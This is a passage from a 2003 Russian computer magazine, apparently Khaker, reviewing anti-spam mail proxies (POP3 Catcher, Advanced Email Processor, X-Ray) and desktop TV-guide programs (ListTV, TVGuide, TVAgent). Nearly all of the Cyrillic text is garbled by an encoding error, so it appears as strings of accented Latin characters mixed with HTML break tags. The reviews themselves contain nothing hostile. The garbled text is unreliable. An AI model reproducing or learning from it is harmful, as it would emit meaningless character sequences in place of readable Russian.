62.118.146.217 on SPAMCOP). Ïîñëå ýòîãî òû ìîæåøü<br />
íàñòðîèòü â ñîðòèðîâùèêå ñâîåãî ïî÷òîâèêà ñïåöèàëüíîå<br />
ïðàâèëî, êîòîðîå îòôóòáîëèò ñïàìåðñêèé áðåä â îòäåëüíóþ<br />
ïàïêó. Ìîæíî îáîéòèñü è áåç ïðàâèëà - óäàëÿòü<br />
âåñü õëàì ñðåäñòâàìè POP3 Catcher. Ïîìèìî RBL ïðîâåðêè<br />
POP3 Catcher ïîääåðæèâàåò ÷åðíûå è áåëûå ñïèñêè<br />
ïî÷òîâûõ àäðåñîâ è äàæå IP, ïðè÷åì óêàçàòü ìîæíî<br />
êàê îäèíî÷íûé àäðåñ, òàê è öåëûé äèàïàçîí. Åñëè è ýòîãî<br />
ïîêàæåòñÿ ìàëî, ê òâîèì óñëóãàì Selective Download<br />
Filters - ôèëüòðû âûáîðî÷íîãî ñêà÷èâàíèÿ. Ñâîåîáðàçíûé<br />
ïðèâåò îò ïðîãðàììû The Bat! - ñîâìåùåíû ñèãíàëüíûå<br />
ñòðî÷êè äëÿ îïðåäåëåíèÿ íåæåëàòåëüíîé êîððåñïîíäåíöèè,<br />
ðåãóëÿðíûå âûðàæåíèÿ, îãðàíè÷åíèå íà<br />
ðàçìåð ïèñüìà è âðåìÿ ñðàáàòûâàíèÿ êàæäîãî ôèëüòðà.<br />
È äàæå ýòî åùå íå âñå. Âêóñíåéøèé áîíóñ - ïîääåðæêà<br />
ïëàãèíîâ äëÿ ñàìîñòîÿòåëüíîé îáðàáîòêè âñåõ ïèñåì.<br />
Çàìåòü - ïëàãèíó ïîçâîëåíî íå òîëüêî ïîìå÷àòü ïèñüìî<br />
êàê ñïàì, íî è êðîìñàòü åãî ïî ñâîåìó óñìîòðåíèþ, äîáàâëÿòü/óäàëÿòü<br />
çàãîëîâêè, âûðåçàòü ðåêëàìó, ïîëíîñòüþ<br />
ïåðåäåëûâàòü âåñü òåêñò. Øèçîèäíûé êîìáàéí, à<br />
íå ïðîãðàììà.<br />
POP3 Catcher - íàñòðîéêà ïî÷òîâîãî ÿùèêà<br />
Îäèí ìàëåíüêèé ìèíóñ - åñëè X-Ray ñïîñîáåí îáðàáàòûâàòü<br />
ïî÷òó íåçàìåòíî äëÿ ïîëüçîâàòåëÿ (ïåðåäàåò åå<br />
ìåéëåðó íàïðÿìóþ), òî POP3 Catcher òðåáóåò ñîçäàíèÿ<br />
îòäåëüíîé ñòðóêòóðû ÿùèêîâ è õðàíèò ïèñüìà â ñîáñòâåííîé<br />
áàçå. Ñ äðóãîé ñòîðîíû, ýòî íå ïîìåõà - äîñòàòî÷íî<br />
çàïðîñèòü ïåðèîäè÷åñêóþ ïðîâåðêó ïëþñ âûçîâ<br />
âíåøíåé ïî÷òîâîé ïðîãðàììû. Èòàê, ñîçäàåì â POP3<br />
Catcher íîâûé ÿùèê (Account - New) è ïîåõàëè íàñòðàèâàòü.<br />
Êàê è â ñëó÷àå ñ X-Ray, íàìè ðóêîâîäèò âñòðîåííûé<br />
âèçàðä. Óêàçûâàåì êàòàëîã äëÿ õðàíåíèÿ ïðèíÿòûõ<br />
ïèñåì è äàííûå ïî÷òîâîãî ñåðâåðà, îôîðìëÿåì ïåðèî-<br />
äè÷åñêóþ ïðîâåðêó è çàïóñê ëþáèìîãî ìåéëåðà. Åñëè<br />
îòìåòèòü îïöèþ "Get on mailer connection", POP3<br />
Catcher íà÷íåò ïðèåì ïî÷òû ñðàçó ïîñëå òîãî, êàê ê íåìó<br />
îáðàòèòñÿ âíåøíèé ïî÷òîâèê. Â íàñòðîéêàõ ïî÷òîâîé<br />
ïðîãðàììû íóæíî çàìåíèòü àäðåñ POP3-ñåðâåðà íà<br />
localhost, à ëîãèí óêàçàòü â âèäå íàñòîÿùèé_ëîãèí@àäðåñ_pop3_ñåðâåðà.<br />
Ê ïðèìåðó, äëÿ ìîèõ apslash@tfs.kiev.ua<br />
è pop3.lucky.net ëîãèí âûãëÿäèò òàê -<br />
ap-slash@pop3.lucky.net.<br />
Áåñïëàòíî ðàñïðîñòðàíÿåòñÿ ëèøü Lite-âåðñèÿ POP3<br />
Catcher, â êîòîðîé îòñóòñòâóåò íåñêîëüêî î÷åíü èíòåðåñíûõ<br />
âîçìîæíîñòåé, íî "äëÿ äîìà, äëÿ ñåìüè" è ýòîãî<br />
âàðèàíòà âïîëíå õâàòèò.<br />
<br />
Advanced Email Processor - äîìàøíÿÿ ñòðàíèöà<br />
Ñîçäàòåëè ñàéòà www.massmail.ru - ðåáÿòà âåñüìà è<br />
âåñüìà ïëîäîâèòûå. Äóìàþ, êàæäûé òðåòèé õîòÿ áû<br />
ñëûøàë î òàêèõ ïðîåêòàõ, êàê Advanced Maillist Verify,<br />
Advanced Direct Remailer, Advanced Email Locator è èæå<br />
ñ íèìè. Åñëè â ïðåäûäóùèõ óòèëèòàõ ìîæíî áûëî ñ<br />
ëåãêîñòüþ îïðåäåëèòü öåëü èõ ñîçäàíèÿ, òî Advanced<br />
Email Processor çàñòàâëÿåò ñåðüåçíî çàäóìàòüñÿ. Âîçìîæíîñòåé<br />
ó íåãî - âàãîí è ìàëåíüêàÿ äðåçèíà. Òå ñàìûå<br />
ïðèêóðèâàòåëè, òîò ñàìûé òðàêòîð. Âïðî÷åì, àâòîðû<br />
âñå æå ñïîäîáèëèñü ñîñòàâèòü ïðèìåðíûé ïåðå÷åíü<br />
çàäà÷ - îáðàáîòêà ñïèñêîâ ðàññûëîê, ôîðì çàêàçîâ è<br />
àíêåò, ðåçåðâíîå êîïèðîâàíèå. Íî ïîâåðü, ýòî ëèøü<br />
íàäâîäíàÿ ÷àñòü àéñáåðãà. Ñìîòðèì...<br />
Advanced Email Processor - ïàñïîðòíûå äàííûå<br />
Ìåíÿ â ñâîå âðåìÿ áåçóìíî óäèâèë òîò ôàêò, ÷òî ðàçðàáîò÷èêè<br />
íå âûáðàëè â êà÷åñòâå ðåêëàìíîãî ñëîãàíà<br />
äëÿ ñâîåé ïðîãè äåòñêóþ ôðàçó "Êóïè ñëîíà!". Êàçàëîñü<br />
áû, ðàçìåð äèñòðèáóòèâà - 4 ìåòðà. Ïîä îïèñàíèå ïîäõîäèò,<br />
Ãåéòñ åùå íå çàþçàë (à âåäü ìîã áû). Õîòÿ, ýòî<br />
èõ ëè÷íîå äåëî. ß çíàþ îäíî - ýòîò ðàçìåð ñåáÿ îïðàâäûâàåò.<br />
Êîëëåãè åìó îäíî ñëîâî, îí èì - äâàäöàòü. Òå<br />
ïðîâåðÿþò òîëüêî POP3, à ýòîò ïîíèìàåò IMAP, þíèêñîâûé<br />
ÿùèê ñ ïèñüìàìè, ôàéëû MSG/EML, ïàïêè<br />
Outlook Express è Eudora, MAPI. Êîíêóðåíòû ïèøóò â<br />
òåêñòîâûé ôàéë, à îí áåç òðóäà âðàùàåò áàçàìè äàííûõ<br />
è çàïîëíÿåò òàáëèöû Excel. Îíè îáðàáàòûâàþò ñ<br />
ïîìîùüþ âíåøíèõ ïðîãðàìì è ïëàãèíîâ, à îí ïëþñóåò<br />
ïîääåðæêó JScript, VBScript, Perl, Python è Ruby. Íèêòî<br />
íå çàáûò, íè÷òî íå çàáûòî. Ñòàðûå äîáðûå ïðèáàìáàñû<br />
ñëóæàò è ïîíûíå - Advanced Maillist Verify, Advanced<br />
Direct Remailer è Advanced Email Locator ñâîáîäíî èíòå-<br />
ãðèðóþòñÿ â AEP è ðàáîòàþò âåñåëûì øàðîâàðíûì êàðàâàíîì.<br />
Âíèìàòåëüíî ÷èòàé õèíòû ê ýëåìåíòàì êîíñòðóêòîðà<br />
è æèâè â ñâîå óäîâîëüñòâèå. Ýòî ïðîãðàììà<br />
äîëæíà ðàáîòàòü, à ÷åëîâåêó íóæíî ìíîãî ñâîáîäíîãî<br />
âðåìåíè, ÷òîáû âñÿêèìè ãëóïîñòÿìè çàíèìàòüñÿ.<br />
Advanced Email Processor - íàñòðîéêà<br />
 îñíîâíîì ðàçëè÷íîãî ðîäà íåïîíÿòêè âîçíèêàþò<br />
ëèøü ïðè ðàáîòå ñ ñàìèì êîíñòðóêòîðîì, à ïàðàìåòðû<br />
êàæäîãî ÿùèêà óïðîùåíû äî ïðåäåëà. Ïåðâî-íàïåðâî<br />
ñîçäàé â ýòîé ïðîãå íîâóþ ó÷åòíóþ çàïèñü. Êàê ÿ óæå<br />
ãîâîðèë, AEP ñîâñåì íå îáÿçàòåëüíî ðàáîòàòü ñî ñòàíäàðòíûì<br />
ïî÷òîâûì ñåðâåðîì. Ýòî ìîæåò áûòü â÷åðàøíèé<br />
ýêñïîðò èç The Bat! â ôîðìàòå þíèêñîâîãî ÿùèêà<br />
èëè ïðîèçâîëüíàÿ ïàïêà íà äèñêå ñ ïèñüìàìè â ôîðìàòå<br />
RFC822. Ïî÷òîâîé ïðîãðàììå, äëÿ êîòîðîé AEP èãðàåò<br />
ðîëü ïîñðåäíèêà, ýòî áóäåò ãëóáîêî ïàðàëëåëüíî.<br />
Ïðîöåäóðà íàñòðîéêè òâîåãî ìåéëåðà íåìíîãî îòëè÷àåòñÿ<br />
îò àíàëîãè÷íûõ ïàðàìåòðîâ, èñïîëüçóåìûõ äâóìÿ<br />
ïðåäûäóùèìè ïðèáëóäàìè. Âìåñòî àäðåñà ïî÷òîâîãî<br />
ñåðâåðà ñòàâèì localhost, à ëîãèí óêàçûâàåì â çàâèñèìîñòè<br />
îò òèïà ïî÷òîâîãî ÿùèêà, êîòîðûé òû èñïîëüçóåøü.<br />
Íàïðèìåð, åñëè ýòî îáû÷íûé POP3-ñåðâåð, ñòàâèì<br />
íàñòîÿùèé_ëîãèí/àäðåñ_ñåðâåðà (äëÿ ìîèõ äàííûõ<br />
- ap-slash/pop3.lucky.net), åñëè ýòî ïàïêà èëè þíèêñîâûé<br />
ÿùèê, ëîãèí ìîæíî ñòàâèòü ëþáîé, ëèøü áû îí<br />
ñîâïàäàë ñ íàñòðîéêàìè ñàìîãî ÿùèêà. Ñìîòðè ïî ñèòóàöèè.<br />
 ñëó÷àå ÷åãî, çàãëÿäûâàé íà çàêëàäêó "Æóðíàë"<br />
- ïðîãðàììà âåäåò ïîäðîáíûé ïðîòîêîë ðàáîòû.<br />
Òðè ïî÷òîâûõ ïîñðåäíèêà. Ëè÷íî ìíå ñëîæíî<br />
ñäåëàòü ìåæäó íèìè îäíîçíà÷íûé âûáîð.<br />
Äà è íóæíî ëè? Îñíîâíàÿ ïðåëåñòü ïðîãðàìì<br />
ïîäîáíîãî ðîäà â òîì, ÷òî èõ ìîæíî<br />
âûñòðîèòü â öåïî÷êó è ïîäêëþ÷èòü ïîñëåäîâàòåëüíî,<br />
óêàçûâàÿ â êà÷åñòâå POP3/SMTPñåðâåðà<br />
äëÿ ïåðâîé ïðîãðàììû localhost +<br />
íîìåð ïîðòà åå êîíêóðåíòà. Ñàìî ñîáîé,<br />
ýòîò ñàìûé íîìåð íåîáõîäèìî èçìåíèòü â<br />
íàñòðîéêàõ ó êàæäîãî çâåíà ýòîé öåïî÷êè.<br />
Ðåçþìèðóþ - åñëè òû ýêîíîìèøü ïàìÿòü è<br />
ìåñòî íà äèñêå - ñòàâü X-Ray. Â áëàãîäàðíîñòü<br />
çà äîâåðèå îí âû÷èñòèò òâîè ïî÷òîâûå<br />
áàçû îò ãðóäû õëàìà, è ëþáèìûé ìåéëåð<br />
ñòàíåò ïðîâîðíåå ïðîöåíòîâ íà 30.<br />
Åñëè ñïàì âàëèò ñåëåâûìè ïîòîêàìè, òî<br />
ëó÷øå, ÷åì POP3 Catcher íàéòè áóäåò ñëîæíî.<br />
Êàê ðåçóëüòàò – íèêàêîé ðåêëàìû êèòàéñêèõ<br />
ìàçåé è ïðåäëîæåíèé êâàðòèðû â Ìèòèíî.<br />
Ó ìåíÿ çà äâà ìåñÿöà ëèøü îäíî ïèñüìî<br />
íå ïðîøëî ïðîâåðêó. Ýòî áûë ñîñåä,<br />
ñâàòàâøèé ñâîåãî ëîõìàòîãî êîòà ìîåé êîøêå<br />
ïî ñëó÷àþ íà÷àëà âåñíû. Íà÷èíàþùèé<br />
ñïàìåð, ïîêà åùå íå ñòîèò íà ó÷åòå.<br />
Íó à äëÿ íàñòîÿùèõ ìàíüÿêîâ ïóòåâîäíîé<br />
çâåçäîé áåç âîïðîñîâ ñòàíåò AEP. Êðîìå òîãî,<br />
åãî ðåàëèçàöèÿ ActiveScripting - åäèíñòâåííûé<br />
ñïîñîá äëÿ ñêðèïòîâèêîâ ñîçäàâàòü<br />
ïîëíîöåííûå ïëàãèíû. Âûáèðàé.<br />
Ñêàæè "Íàéí!" åæåäíåâíîé ðóòèíå.<br />
È áåç íåå âðåìåíè â îáðåç.<br />
36 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
PC_Zone<br />
ÑÌÎÒÐÈ - ÍÅ ÏÐÎÑÌÎÒÐÈ<br />
Äåíèñ<br />
ÑÀÌ ÑÅÁÅ<br />
Ñàìàðèí<br />
ÈÌÈÒÀÒÎÐ<br />
(densam@yandex.ru,<br />
www.olviko.ru/densam)<br />
 äàâíî ïî÷èâøåì Ñîâåòñêîì Ñîþçå áûëî ìíîãî<br />
ñàìûõ ðàçíîîáðàçíûõ ïðîáëåì, íî ñðåäè íèõ íå<br />
áûëî îäíîé, ñ êîòîðîé è ÿ, è òû ñòàëêèâàåìñÿ<br />
êàæäûé äåíü. Ýòî - ïðîáëåìà âûáîðà. Ðàíüøå,<br />
åñëè òåáå çâîíèë äðóã è êðè÷àë â òðóáêó "âðóáàé<br />
òåëåê, òàì òàêîé ôèëüì èäåò!", òî âîâñå íå îáÿçàòåëüíî<br />
áûëî âûÿñíÿòü, ïî êàêîìó êàíàëó èäåò<br />
ýòîò ñàìûé ôèëüì, òàê êàê êàíàëîâ áûëî âñåãî<br />
íåñêîëüêî. À ñåé÷àñ ÷òî òâîðèòñÿ? Ïÿòü, äåñÿòü,<br />
ïÿòíàäöàòü êàíàëîâ! È ÷óòü ëè íå êàæäûé - êðóãëîñóòî÷íûé.<br />
Ïðîãðàììû ïåðåäà÷ ïðåâðàòèëèñü<br />
â íàñòîÿùèå ôîëèàíòû, ëàçèòü ïî êîòîðûì, âûáèðàÿ<br />
èíòåðåñíóþ ïåðåäà÷ó - äåëî, òðåáóþùåå<br />
íåìàëûõ óñèëèé. ×òî æå äåëàòü? Ëó÷øèé âàðèàíò<br />
- íå ñìîòðåòü òåëåâèçîð âîîáùå. Êàê ãîâîðèë<br />
òîâàðèù Ñòàëèí: "Íåò ÷åëîâåêà - íåò ïðîáëåìû".<br />
Åñëè æå îòêàçûâàòüñÿ îò "ÿùèêà" òû íå<br />
æåëàåøü, òî ñîðèåíòèðîâàòüñÿ â ìîðå òåëåâèçèîííîé<br />
èíôîðìàöèè òåáå ïîìîãóò îïèñàííûå íèæå<br />
ïðîãè - ýëåêòðîííûå ÒÂ ïðîãðàììû.<br />
Ýëåêòðîííûå òåëåïðîãðàììêè óæå äàâíûì-äàâíî íå íîâîñòü.<br />
Èõ ëåãêî ìîæíî íàéòè â èíòåðíåòå, ñêàæåì, íà<br />
ßndex'å èëè Rambler'å. Íî, ñîãëàñèñü, ÷òî, âî-ïåðâûõ, åñëè<br />
ó òåáÿ íå âûäåëåíêà, òî ëåçòü êàæäûé ðàç â Ñåòü ëèøü<br />
äëÿ òîãî, ÷òîáû óòî÷íèòü, âî ñêîëüêî íà÷èíàåòñÿ òîò èëè<br />
èíîé ôèëüì, íåñêîëüêî íåóäîáíî, à âî-âòîðûõ, êàê áû íè<br />
ñîâåðøåíñòâîâàëñÿ âåá-èíòåðôåéñ, äî óäîáñòâà îáû÷íûõ<br />
"íàñòîëüíûõ" ïðèëîæåíèé åìó åùå êàê äî ëóíû.<br />
Êñòàòè, íàäî çàìåòèòü, ÷òî âîïðåêè îæèäàíèþ, ýëåêòðîííûõ<br />
ÒÂ ïðîãðàìì íå òàê óæ è ìíîãî. Ïî êðàéíåé<br />
ìåðå, ÿ íàøåë òîëüêî ÷åòûðå: ListTV, TVGuide, "Ò ïðîãðàììà"<br />
è TVAgent. ×òî æ, äàâàé-êà ïîïðîáóåì ðàçîáðàòü<br />
èõ ïî êîñòî÷êàì.<br />
<br />
Äëÿ ðàáîòû ñ ïðîãðàììîé òåëåïåðåäà÷ òðåáóåòñÿ åå<br />
ãäå-òî çàïîëó÷èòü. À êàê çàïîëó÷èòü? Î÷åíü ïðîñòî. Áåðåøü<br />
ãàçåòó, ñêàíåð, FineReader… Øó÷ó, øó÷ó… Ðàçóìååòñÿ,<br />
òåëåïðîãðàììó íóæíî êà÷àòü èç Ñåòè. Ïîñìîòðèì,<br />
êàê ñ ýòèì çàäàíèåì ñïðàâëÿåòñÿ êàæäàÿ èç íàøèõ<br />
ïîäîïå÷íûõ.<br />
TVAgent - ïîëó÷åíèå ïðîãðàììû<br />
Ïðîùå âñåãî ìåõàíèçì ñêà÷èâàíèÿ "ñâåæà÷êà" ðåàëèçîâàí<br />
â "Ò Àãåíòå". Âèäèøü â âåðõíåé ÷àñòè ýêðàíà íåáîëüøîå<br />
ìåíþ? Ïåðåõîäè â ïóíêò "ïîëó÷åíèå òåëåïðîãðàìì"<br />
è äàâè íà êíîïêó "Ïðîâåðèòü íàëè÷èå íîâîé ïðîãðàììêè".<br />
"ÒÂ Àãåíò" ïîïûòàåòñÿ ñîåäèíèòüñÿ ñ ñåðâåðîì<br />
è ïðîâåðèòü îáíîâëåíèå. Åñëè åìó ýòî íå óäàåòñÿ, è<br />
ïðîãðàììà âûäàåò êàêóþ-íèáóäü îøèáêó, òî îòïðàâëÿéñÿ<br />
â ìåíþ "Íàñòðîéêè" è ïðîâåðü ïàðàìåòðû ñîåäèíåíèÿ ñ<br />
èíòåðíåòîì. Ïîñëå ñîåäèíåíèÿ ñ ñåðâåðîì ïðîãà îòîáðàçèò<br />
ñïèñîê äîñòóïíûõ òåëåâèçèîííûõ êàíàëîâ. Îòìåòü<br />
ãàëî÷êàìè òå èõ íèõ, êîòîðûå òåáå èíòåðåñíû è íàæìè<br />
íà "Ïîëó÷èòü îòìå÷åííûå òåëåïðîãðàììû".<br />
TVGuide - çàãðóçêà äàííûõ<br />
Íåìíîãî áîëåå ñëîæíûé ïóòü ïðèäåòñÿ ïðîéòè â<br />
TVGuide. Åùå ïðè èíñòàëëÿöèè ïðîãðàììà ñïðîñèò òåáÿ,<br />
êàêèå èç èìåþùèõñÿ â íàëè÷èè ïàêåòîâ óñòàíàâëèâàòü:<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
ÑÌÎÒÐÈ - ÍÅ ÏÐÎÑÌÎÒÐÈ<br />
ÒÅËÅÏÐÎÃÐÀÌÌÛ ÍÀ ÒÂÎÅÌ ÊÎÌÏÜÞÒÅÐÅ<br />
Ïîëåçíûå ññûëêè<br />
www.citycat.ru/tv/TVinNet/tvu_ros0.html - ñïèñîê<br />
èç 170 ñåðâåðîâ ñ ðîññèéñêèìè òåëåïðîãðàììàìè<br />
www.citycat.ru/tv/TVinNet/tvu_ltv0.html - ñàéòû,<br />
ïîääåðæèâàþùèå ôîðìàò ïðîãðàììû ListTV<br />
www.vsetv.com - "âñå î ÒÂ"<br />
www.sat-digest.com - Åùå îäèí ñáîðíèê ïðîãðàìì<br />
ïåðåäà÷ ðóññêîÿçû÷íûõ êàíàëîâ<br />
Ìîñêâà, Ïåòåðáóðã, Åêàòåðèíáóðã, Ïåðìü, Ñàðàòîâ. Åñëè<br />
òâîåãî ãîðîäà â ýòîì ñïèñêå íåò, òî ñëåäóåò ïðîâåðèòü,<br />
íå ïîÿâèëñÿ ëè îí íà ñåðâåðå. Óçíàòü ýòî ïîìîãàåò êíîïî÷êà<br />
"Îáíîâëåíèÿ ïðîãðàììû" èç ìåíþ "Ïîìîùü". Òåïåðü<br />
íåîáõîäèìî óêàçàòü ïðîãå, ñ êàêèì èìåííî ïàêåòîì<br />
òû áóäåøü ðàáîòàòü. Ñäåëàòü ýòî ìîæíî â ìåíþ "Ôàéë"<br />
-> "Íàñòðîéêè ïðîãðàìì" -> "Îáùèå" -> "Ïàêåò äàííûõ".<br />
 ýòîì æå îêíå, ÷óòü íèæå, â âûïàäàþùåì ñïèñêå<br />
"Ñåðâåð îáíîâëåíèÿ" âûáåðè URL, ñ êîòîðîãî TVGuide<br />
áóäåò âûêà÷èâàòü ñâåæèå äàííûå. Îñòàëñÿ ïîñëåäíèé<br />
øàã. Ïåðåõîäè â "Ôàéë" -> "Çàãðóçèòü äàííûå", óñòàíîâè<br />
ãàëî÷êó "Ðàñïîëîæåíèå äàííûõ" íà Internet, îòìåòü òå<br />
äíè íåäåëè, ïðîãðàììêà íà êîòîðûå òåáå òðåáóåòñÿ, à â<br />
ïîëå "Èñïîëüçîâàòü êîíâåðòåð" âûáåðè ëþáîå èç ïðèñóòñòâóþùèõ<br />
â ñïèñêå íàçâàíèé (ñêîðåå âñåãî òàì áóäåò<br />
òîëüêî îäíî). È âñå. Àõ íåò, íóæíî åùå íàæàòü íà "Çàãðóçèòü<br />
äàííûå". Òåïåðü òî÷íî âñå.<br />
TVGuide - íàñòðîéêè<br />
ListTV ñàìà çàãðóæàòü ÒÂ ïðîãðàììó íåïîñðåäñòâåííî<br />
èç èíåòà íå óìååò. Òåáå ïðèäåòñÿ ýòî äåëàòü âðó÷íóþ.<br />
Ïî àäðåñó http://www.citycat.ru/tv/TVinNet/tvu_ltv0.html<br />
èëè â õåëïå â ðàçäåëå "Çàãðóçêà äàííûõ" òû íàéäåøü<br />
äîâîëüíî ïðèëè÷íûé ñïèñîê ñàéòîâ ñî ñâåæèìè ðàñïè-<br />
38 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
ñàíèÿìè òåëåïåðåäà÷. Âûáèðàé òîò, êîòîðûé òåáå áëèæå,<br />
è ñêà÷èâàé ôàéë ñåáå íà êîìïüþòåð, à çàòåì â<br />
"Ôàéë" -> "Çàãðóçèòü" óêàæè ïðîãðàììå åãî ìåñòîðàñïîëîæåíèå.<br />
ListTV ïîíèìàåò äàííûå â ïðîñòîì òåêñòîâîì<br />
ôîðìàòå (.txt), â HTML èëè â .eml. Â ïîñëåäíåì<br />
ñëó÷àå åñòü îäíà òîíêîñòü: åñëè äàííûå õðàíÿòñÿ â<br />
MIME (îòêðîé ôàéë â ëþáîì òåêñòîâîì ðåäàêòîðå è ïîñìîòðè,<br />
åñëè åñòü ñòðî÷êà "Content-Transfer-Encoding:<br />
base64", çíà÷èò - MIME), òî óñòàíîâè ãàëî÷êó "base64".<br />
 "Ò ïðîãðàììå" äëÿ òîãî ÷òîáû çàãðóçèòü ñâåæóþ<br />
ïðîãðàììêó, âîîáùå äåëàòü íè÷åãî íå íàäî, òàê êàê<br />
ïðè î÷åðåäíîì çàïóñêå ýòà ñîôòèíà ñàìà ïðîâåðÿåò<br />
íàëè÷èå îáíîâëåíèÿ è ïðè îáíàðóæåíèè îíîãî, ïðåäëàãàåò<br />
ñäåëàòü àïäåéò.  îòëè÷èå îò, íàïðèìåð,<br />
TVGuide’à, ñåðâåð îáíîâëåíèÿ â TVProg'å âûáèðàòü<br />
íåëüçÿ, åãî àäðåñ çàøèò â íåå íàìåðòâî. Íî ýòî íå<br />
äîëæíî òåáÿ áåñïîêîèòü, òàê êàê ñïèñîê äîñòóïíûõ êàíàëîâ<br />
äîñòàòî÷íî âåëèê (íà ìîìåíò íàïèñàíèÿ ñòàòüè -<br />
85), è âñå âðåìÿ ïîïîëíÿåòñÿ.<br />
<br />
TVAgent - ïðîñìîòð ïðîãðàììû ïåðåäà÷<br />
Íà÷íåì, êàê è â ïðîøëîì ðàçäåëå, ñ "Ò Àãåíòà". Åñëè<br />
ïðèìåíÿòü ñèãàðåòíóþ êëàññèôèêàöèþ, òî â îáëàñòè<br />
ðàáîòû ñ äàííûìè "ÒÂ Àãåíòà" ñëåäóåò îòíåñòè ê êàòåãîðèè<br />
Light. Ïîëüçîâàòüñÿ "ÒÂ Àãåíòîì" ñìîæåò äàæå<br />
ñàìûé íåèñêóøåííûé ïîëüçîâàòåëü (aka ñàìûé áóðíîêèïÿùèé<br />
÷àéíèê), òàê êàê â ïðîãðàììå íåò íè÷åãî<br />
ñëîæíîãî, íèêàêèõ "íàâîðîòîâ", äîñòóïíû ëèøü ñàìûå<br />
ïðîñòûå ôóíêöèè: ïðîñìîòð òåëåïðîãðàììû çà îäèí<br />
äåíü ñ ðàçáèâêîé ïî êàíàëàì è ôèëüòðàöèÿ ïðèãëÿíóâøèõñÿ<br />
ïåðåäà÷. À ÷òî åùå íàäî?<br />
Èäåì äàëüøå - TVGuide. Êðîìå ðàçäåëåíèÿ òåëåïðîãðàììû<br />
ïî êàíàëàì è äíÿì íåäåëè, TV Guide ïðåäëàãàåò<br />
è ìàññó äîïîëíèòåëüíûõ ôóíêöèé. Ãëàâíàÿ ôåíå÷êà -<br />
ýòî ðàçäåëåíèå âñåõ ïåðåäà÷ ïî òèïó. Âñåãî ñóùåñòâóåò<br />
òðèíàäöàòü ðàçíûõ òèïîâ: "êèíî", "ñåðèàë", "íîâîñòè",<br />
"þìîð", "øîó", "èãðà", "ñïîðò", "ìóçûêà", "äåòÿì",<br />
"äîê.ôèëüìû", "ïóòåøåñòâèÿ", "ïåðñîíà", "êóëüòóðà".<br />
Òàêèì îáðàçîì, íàæàòèåì îäíîé êíîïêè òû îòôèëüòðîâûâàåøü<br />
òîëüêî òå ïåðåäà÷è, êîòîðûå òåáå èíòåðåñíû.<br />
Âäîáàâîê ïðîãðàììû ìîæíî îòìå÷àòü ãàëî÷êàìè:<br />
"Ñòîèò ïîñìîòðåòü", "Õîðîøèå", ëèáî "Ñàìûå<br />
ëþáèìûå". Êñòàòè ñêàçàòü, åñëè ñïèñîê òèïîâ òåáÿ íå<br />
óñòðàèâàåò, òû èìååøü âñå âîçìîæíîñòè îòðåäàêòèðîâàòü<br />
åãî, êàê çàáëàãîðàññóäèòñÿ (ìåíþ "Íàñòðîéêà" -><br />
"Êëàññèôèêàöèÿ òåëåïåðåäà÷").<br />
Åñëè òû áîèøüñÿ ïðîïóñòèòü ñâîé ëþáèìûé òóðíèð ïî<br />
øàõìàòàì èëè áîèøüñÿ çàáûòü î êàêîì-íèáóäü ôèëüìå,<br />
òî äîáàâü åãî â ñïèñîê íàïîìèíàíèé (ïðàâàÿ êíîïêà<br />
ìûøè íà íàçâàíèè ïåðåäà÷è), è TVGuide â íóæíîå âðåìÿ<br />
áóäåò îðàòü èñòîøíûì ãîëîñîì (åñëè òû, êîíå÷íî,<br />
óêàæåøü åé ñîîòâåòñòâóþùèé wav-ôàéë) èëè çàïóñòèò<br />
êàêóþ-íèòü âíåøíþþ ïðîãó, íàïðèìåð, îòñûëàþùóþ íà<br />
òâîé ìîáèëüíèê ñîîáùåíèå: "Ãäå òû øëÿåøüñÿ? ×åðåç<br />
ïÿòü ìèíóò ôóòáîë!".<br />
Íå ìåíåå ïðîäâèíóòà â âîïðîñå äåìîíñòðàöèè ïðîãðàììû<br />
ïåðåäà÷ è ListTV. Ñàìî ñîáîé, îíà òîæå óìååò ðàñïðåäåëÿòü<br />
ïåðåäà÷è ïî òèïàì, âûïîëíÿòü ñîðòèðîâêó ïî<br />
äíÿì íåäåëè è êàíàëàì è ôèëüòðîâàòü ïî "ëþáèìîñòè".<br />
Íî íà ÷òî õî÷åòñÿ îáðàòèòü îñîáîå âíèìàíèå, òàê ýòî íà<br />
àíîíñû ïåðåäà÷. Òî åñòü íåêîòîðûå ïðîãðàììû, îáû÷íî<br />
êàêèå-íèáóäü ôèëüìû, ïîìèìî íàçâàíèÿ ñíàáæåíû íåáîëüøèì<br />
îïèñàíèåì. Åñëè àíîíñ èìååòñÿ, òî îêîëî íàçâàíèÿ<br />
ïåðåäà÷è ïîÿâëÿåòñÿ ñèðåíåâûé çíà÷îê, íàæàâ<br />
íà êîòîðûé ìîæíî ïðî÷èòàòü íå÷òî òèïà: "Óíåñåííûå<br />
âåòðîì - î÷åðåäíàÿ ïåðåäà÷à î âëèÿíèè âîçäóøíûõ ïîòîêîâ<br />
íà òðàåêòîðèþ ïîëåòà ïàðàøþòèñòîâ".<br />
ÒÂ Ïðîãðàììà - âíåøíèé âèä<br />
Ïî ôóíêöèîíàëüíîñòè è èíòåðôåéñó "ÒÂ ïðîãðàììà"<br />
î÷åíü ïîõîæà íà ListTV è íà TVGuide. Òî æå ðàçäåëåíèå<br />
ïåðåäà÷ ïî òèïàì, òî æå ðàçäåëåíèå íà "ëþáèìûå" è<br />
"î÷åíü ëþáèìûå", ïîõîæèé ìåõàíèçì ïîèñêà è ôèëüòðàöèè.<br />
Àíîíñîâ ïåðåäà÷, ê ñîæàëåíèþ, ïðîãðàììà íå<br />
ïîääåðæèâàåò (èëè ÿ èõ ïðîñòî íå íàøåë?). Ðàçóìååòñÿ,<br />
åñòü è ïðèÿòíûå îòëè÷èÿ. Îäíî èç íèõ - àâòîìàòè-<br />
÷åñêîå îïîâåùåíèå. Äîïóñòèì, òû íå õî÷åøü ïðîïóñòèòü<br />
íè îäíîãî ýïèçîäà ñåðèàëà "Áåäíûå õîõî÷óò â ïîëäåíü".<br />
Îê, çàõîäèøü â ìåíþ "Îïîâåùåíèÿ" -> "Àâòîìàòè÷åñêîå<br />
îïîâåùåíèå" è ñîçäàåøü íîâîå çàäàíèå, â êîòîðîì<br />
ïðîñèøü ïðîãó îðàòü êàæäûé ðàç, êîãäà â íàçâàíèè<br />
ïåðåäà÷è âñòðåòèòñÿ ñëîâî "õîõî÷óò".<br />
List TV - ïðîñìîòð ïåðåäà÷è<br />
